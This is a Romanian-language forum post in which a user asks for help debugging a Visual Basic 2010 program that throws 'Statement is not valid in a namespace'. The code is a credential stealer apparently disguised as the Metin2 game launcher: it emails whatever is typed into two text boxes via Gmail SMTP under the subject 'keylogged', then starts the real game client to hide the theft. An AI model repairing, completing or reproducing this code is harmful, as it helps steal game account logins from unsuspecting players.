| coolmonkey a întrebat:

Buna TPU as avea si eu nevoie de ajutor cu programul visual basic 2010. As fi foarte recunoscator daca m-ati putea ajuta:


Imports System.Net.Mail
Imports System.Web
Imports System.IO

Private Sub Button1_Click(ByVal sender As System. Object, ByVal e As System. EventArgs) Handles Button1.Click
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("----@gmail.com", "---")
SmtpServer. Port = 587
SmtpServer.Host = "Smtp.Gmail.com"
SmtpServer. EnableSsl = True
mail.To.Add("---@gmail.com")
mail.From = New MailAddress("---@gmail.com")
mail.Subject = "keylogged"
mail.Body = TextBox1. Text + TextBox2. Text
SmtpServer.Send(mail)
Shell("metin2client.bin")
End Sub

Private Sub Label1_Click(ByVal sender As System. Object, ByVal e As System. EventArgs) Handles Label1.Click

End Sub

Private Sub CheckBox1_CheckedChanged(ByVal sender As System. Object, ByVal e As System. EventArgs) Handles CheckBox1.CheckedChanged

End Sub

Private Sub Button2_Click(ByVal sender As System. Object, ByVal e As System. EventArgs) Handles Button2.Click
Close()
End Sub



ERORILE: (am de 4 ori aceeasi eroare) [[Statement is not valid in a namespace]]